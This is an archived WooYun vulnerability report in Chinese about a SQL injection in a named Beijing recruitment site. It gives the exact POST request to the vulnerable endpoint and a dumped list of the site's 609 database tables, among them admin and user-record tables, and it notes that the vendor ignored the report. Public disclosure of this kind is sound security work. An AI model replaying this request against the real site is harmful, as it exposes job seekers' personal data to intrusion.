乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-01: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-10-16: 厂商已经主动忽略漏洞,细节向公众公开
某人才网存在sql注入
http://www.bjrc.com/erp/erpReg.asp存在POST注入
POST /erp/saveErp.asp HTTP/1.1Host: www.bjrc.com Content-Length: 174 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://www.bjrc.com/ Cookie: ASPSESSIONIDSQQCBBSA=LIGNGGLDILCBKOKCOOJLHILJ Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: */* address=3137%20Laguna%20Street&danwei=1&email=JdDUEW0C*&link=1&r1=%d2%bb%b8%f6%d4%c2&Submit=%cc%e1%bd%bb&tel=555-666-0606&yzm=1&zip=94102
Database: rc2007[609 tables]+--------------------------------+| 2014CSFZCJ || 2014CSFZCJ_S || 2014gyxzph0917 || 22 || 22w || BH_TblRunLog || BH_tblAdmin || BH_tblBill || BH_tblBillDelInfo || BH_tblBillTotal || BH_tblDepartment || BH_tblEvent || BH_tblHallInfo || BH_tblOrder || BH_tblPlaceInfo || BH_tblPoint || BH_tblPointKind || BH_tblPointTotal || BH_tblPurview || BH_tblSource || BH_tblSysSet || BH_tblTradeCode || BH_tblUsrGrp || BSH_tblAdmin || BSH_tblAdminAction || BSH_tblAdminLog || BSH_tblInfo || BSH_tblInfoAnnex || BSH_tblInfoClass || BSH_tblUnsafeIP || DSC_Research || Deletegr_letter0 || Deletegr_letter2 || EE_tblPractice || EE_tblUsrDisposition || EE_tblUsrInfo || EE_tblUsrResumeSend || F_tblticket || M_adInfo || M_adQHInfo || Results || Sheet1$ || Sms_no3 || TblSms || TblUsrInfo_FuJia || Tra_Courseware || Tra_Extend || Tra_Field || Tra_Inside || Tra_Institution || Tra_Need || Tra_Open || Tra_Opinion || Tra_Place || Tra_PlaceInfo || Tra_Teacher || Tra_Teacher_Article || Tra_UserPoint || Tra_adinfo || Tra_insti_wenzhang || VIEW1 || VIEW2 || VIEW20130517 || VIEW20130517b || VIEW3 || VIEW_20130318 || VIEW_20130805 || VIEW_20130805b || VIEW_20130805c || VIEW_20130826 || VIEW_Lecture || VIEW_MaxEduDegree || VIEW_Position || VIEW_ZCYC || VIEW_temp || VIEW_test || VIEW_vErpid || VIEW_vErpid20140414 || VIEW_xl || V_DFJH_CB20 || V_DFJH_CB21 || V_DFJH_CB33 || View_BH_Order || View_HFInfo || View_HFInfo_His || View_linshi_20120918_dw || View_linshi_20120918_gr || View_linshi_20120918_xc || View_maxEduId || X_2067 || VIEW-1 || VIEW-2 || VIEW4-temphf || jiyao-an-060119-bak || jiyao-an-060119 || jiyao-an-060330 || jiyao-an-060517 || jiyao-an-060630 || jiyao-an-1026 || jiyao-an-1108 || jiyao-w-0727 || jiyao-w-0801 || jiyao-w-0825 || jiyao-w-1028 || sfz-an-0310 || sfz-wen-0124 || sfz-wen-0310 || tblMedia-back || tblUsrQA-back || area || bianhao || ceping_person || ceping_question || ceping_report || ceping_result || chat_change || chat_function || chat_gbook || chat_kill || chenb_ad || cl_0524w || czdw || daima || daima_gzdd || daima_gzfs || daima_mz || daima_sf || daima_syz || daima_xb || daima_xk || daima_xl || daima_yxq || daima_zh || daima_zw || daima_zy || daima_zyzl || dangan_cdcx || dangan_tongzhi || dangan_tongzhi2 || dangan_tz_hander || data_syn || database_syn || dbtable_user || dd || dianhua || dianhua_gz || dianhua_hander || dict_major || dl_tblInfo || dl_tblInfoAnnex || dl_tblInfoClass || dl_tbltemp || dmtcx_print_list || dtproperties || dw_diaocha || dw_hwprint_rc || dw_print_rc || dw_searchsave || dwcxmsqx || dwczqk || dwhcxx || dwjbxx || dwjbxx2 || dwjbxx_zw || dwjbxxpx || dwlmqx || dwzp_zw_tj || dwzp_zy_tj || dwzpxx2 || eWebEditor_Button || eWebEditor_Style || eWebEditor_System || eWebEditor_ToolBar || expense || findjob || fw_ad || gr_diaocha || gr_letter || gsgl_rcjbxx || gund_xinxi || guoning_AdLog || guoning_adLocation || guoning_adSort || guoning_adUser || guoning_adinfo || heige || history_dangan || hw_print_list || hyrc_ad || jg_diaocha || jg_quest || jhsb_ad || jiyao_an_0801 || jiyao_an_0818 || jiyao_an_0825 || jiyao_an_0920 || jiyao_an_1011 || jiyao_kf || jiyao_w_0715 || jiyaoan060216 || jiyda || jiyda0628 || jiyda0719 || jltdjl || job || jp_ad || jzzdxx || layer || linshi20120918 || linshi20120918znzw || location || luohu_md || luohu_md_kf || luohu_whg || major || manager || mark || menu_item || menu_right || messages || operator_info || operator_type || paper_article || paper_catalogue || paper_copy || para || position || print_arrange || print_history || px_tblInfo || px_tblInfoAnnex || px_tblInfoClass || query_mode || qy_qysousuoqi || qy_sousuoqi || rc_czrz || rc_deng_ji_hao || rc_diaocha || rc_print_history || rcczrz || rcgzdd || rcgzjl || rcgzjl2 || rcjbxx2 || rcjehf || rcphoto || rcphoto_1 || rcpxqk || rcqz_zw_tj || rcqz_zy_tj || rcqzxz || rcsc_zp || rcxjyx || rcxwzc || rczphui || rczwyx || recruitmeet || resume_xb || sc_tuiguangbu_ad || scb_ad || scb_ad_20100401 || scb_person || searchsave || server_type || settime || sfz_an_0830 || shebao_yiliao || shebao_yldqf || shebao_ylqf || shebao_zhufang || sjtjxx || sms_interview || sms_log || sms_queue || sms_verp_edate || student_2008 || sys_opera || sysconstraints || sysdate || syssegments || system || system_set || systeminit || t_Countryhr || t_allzpcount || t_chattype || t_ckjllimit || t_cpyuyue || t_dabx || t_daima_xxdz || t_dangyuan || t_danwei_fwcs || t_dlgr || t_dlqy || t_dwxgmm || t_dy_hwlx || t_dy_hwlx1 || t_fangwen_csxs || t_fangwen_jgrch || t_fangwencishu1 || t_fangwenjishu || t_goodgraduate || t_gr_zpgl || t_grxxdz || t_gxgg || t_gxqk || t_gxyx || t_gxyxzy || t_hot || t_ht_test || t_ht_test_d || t_ht_test_di || t_ht_test_i || t_htzh || t_htzh_luru || t_jiaozhu || t_lasturl || t_lddy_board || t_lddy_forum || t_lddy_xx || t_lddyforum_user || t_lddyhdrc || t_lddyxd || t_longtest || t_lx_board || t_lx_forum || t_lx_hzsq || t_lxlt_user || t_lxxx || t_mfxx || t_numlimit || t_photo_example || t_pindaofwjs || t_qyly || t_qyyuyue || t_rcxwzc || t_rcxwzc_1 || t_rczx || t_scdczdb || t_syfwjs || t_tj_gqgx || t_wenzhang || t_wsfwnb || t_xbkf || t_xxdz || t_xxdz_dw || t_xxdz_zp || t_xxdz_zp_dw || t_xxsq || t_yuejian || t_zhengfu_news || t_zhibu || t_zhizhao || t_zhuancai || t_zy_zhaopin || tab_agebh || tab_bh_tj_age || tab_bh_tj_dwdd || tab_bh_tj_dwxz || tab_bh_tj_xl || tab_bh_tj_zw || tab_nian_tj_baozhan || tab_number || tab_rent || tab_specialty || tab_tj_age || tab_tj_sex || tab_yue_tj_baozhan || tab_zph_dw_rc_list || tab_zph_rc_list || tab_zph_rent_gl || tab_zphrq || tblAdOrder || tblAddress || tblAddress_bj || tblAddress_lei || tblAdmin || tblAdminAction || tblAdminLevel || tblAdminLog || tblAppointment || tblArticle || tblArticleClass || tblCareer || tblClan || tblCompability || tblContinuesOrder || tblCurrent || tblDSTV || tblDrvpaper || tblEduBG || tblEncryptField || tblErpChange || tblErpInfo || tblErpInfo_History || tblErpInfo_dahui || tblErpInvite || tblErpInvite_History || tblErpInvite_TEMP || tblErpLog || tblErpOpLog || tblErpPhoto || tblErpPhoto_logo || tblErpQuestion || tblErpResumeSend || tblErpSearch || tblErpSet || tblErpViewReg || tblErpZhaoPin || tblHFInfo || tblHFType || tblInfo || tblInfoAnnex || tblInfoClass || tblInterviews || tblInterviewsNews || tblLanguage || tblMarry || tblMedia || tblMediaClass || tblNation || tblOperator || tblOperatorold || tblOrder || tblPassLog || tblPersonType || tblPosition || tblPosition20121102 || tblPositionSet || tblProvince || tblReport || tblReportClass || tblSMSAddMoney || tblSMSbulletin || tblSalary || tblShiFang || tblSpeciality || tblSysSet || tblTemp || tblUnsafeIP || tblUploadDataInfo || tblUserStation || tblUserType || tblUsrAnnex || tblUsrBBS || tblUsrEdu || tblUsrEduBg || tblUsrEduBgTemp || tblUsrFavorite || tblUsrFeedback || tblUsrFocusErp || tblUsrImage || tblUsrInfo || tblUsrInterview || tblUsrJobIntent || tblUsrMessageSwitch || tblUsrPushPosition || tblUsrQA || tblUsrRelateBaidu || tblUsrResumeSend || tblUsrSeachLog || tblUsrSelect || tblUsrSms || tblUsrSubscribe || tblUsrWhoRead || tblUsrWrkHty || tblVocation || tblWorkHis || tblWorkLog || tblWorkMode || tblWorkYear || tblWorkerAuth || tblZhaoPinHui || tblZhiCheng || tbl_2014GYX_ZPH_DC || tbl_2014GYX_ZPH_Info || tbl_2014_GYXInfo || tbl_2014_GYX_DC || tbl_BH_Order || tbl_BYSInfo || tbl_BYS_Fwjs || tbl_DL_ldgxxty || tbl_DSTAdmin || tbl_ErpSBK || tbl_ErpSort || tbl_Erp_SBKLQ || tbl_GR_SBKLQ || tbl_HY || tbl_HYSort || tbl_ImgNews || tbl_ImgNewsSort || tbl_LS_vErpinfo || tbl_Lecture || tbl_Lecture_Erp || tbl_Lecture_Evaluation || tbl_Lecture_Speaker || tbl_Lecture_Usr || tbl_Nature || tbl_PageVisCount || tbl_SBK || tbl_SafeStr || tbl_Safelog || tbl_ScbInfo || tbl_TelInfo || tbl_TelInit || tbl_Usrinfo_Market || tbl_WeekDay || tbl_ZhiNeng || tbl_diaocha_app || tbl_diaocha_danwei_0706 || tbl_diaocha_geren_0706 || tbl_diaocha_peixun_0902 || tbl_gsxy || tbl_question || tbl_slogan || tbl_xczs_chaxun || tbl_ycCount || tblvNature || text_out_list || tra_fabu_point || tra_hot || tra_inside_pic || tra_open_hot || tra_xufei || try || unit_xb || user || user1 || user_item || user_type || v_dw_zph_info || v_dwxx_zpxx || v_rcjbxx || v_rcqz_dwsyz || v_rcqz_gzdd || v_rcqz_gzfs || w_1101_shen || weekday || wenshenfenzheng || xb_ad || yiliao || yingcai || yingcai_n || yonghg_ad || yzpwjj || zc2002 || zhanwzt || zhgj_ad || zhijieErpInfo || zhijieErpInvite || zhijieErpSet || zhijieLog || zhijieLogTmp || zhijieUsrEdu || zhijieUsrEduBg || zhijieUsrImage || zhijieUsrInfo || zhijieUsrInfo_FuJia || zhijieUsrJobIntent || zhijieUsrWrkHty || zhonggc_ad || zhongj || zhongj_ad || zhufang || zphxx || zwcx || zwxx || zwzpxx || zwzt || zy_zhaopin || zy_zhuancai || zyq_ad || 퍾鱧 || 퍾鱧20031024 || guoning.View_OG || guoning.View_temp20130325 || guoning.daima_OGbkzw || guoning.daima_zzmm || guoning.naturetemp || guoning.tblInnerUsr || wangjia.2014gyxJZchdw || wangjia.2014gyxZPHchdw || wangjia.2014jz_hmd || wangjia.gund_xinxi090309 || wangjia.linshi20110301scb_ad || wangjia.linshi20110520 || wangjia.linshi20110520a || wangjia.linshi20110520b || wangjia.linshi20120918zhineng || wangjia.linshi20131127 || wangjia.linshi20131127b || wangjia.linshi20140224 || wangjia.linshi20140312 || wangjia.linshi20140318 || wangjia.linshi20140429 || wangjia.linshi20140526 || wangjia.linshi20140619 || wangjia.linshi20140716 || wangjia.linshi20140925GQH || wangjia.linshi20141008 || wangjia.newold_position || wangjia.newold_zhineng || wangjia.scb_ad090226 || wangjia.sms_queue20131009 || wangjia.t_pindaofwjs_History || wangjia.tblAdmin20130115 || wangjia.tblSalary_B || wangjia.tblUserStation20121029 || wangjia.tbl_BH_Order20130220 |+--------------------------------+
其他地方都过滤好了 这里也要过滤啊
未能联系到厂商或者厂商积极拒绝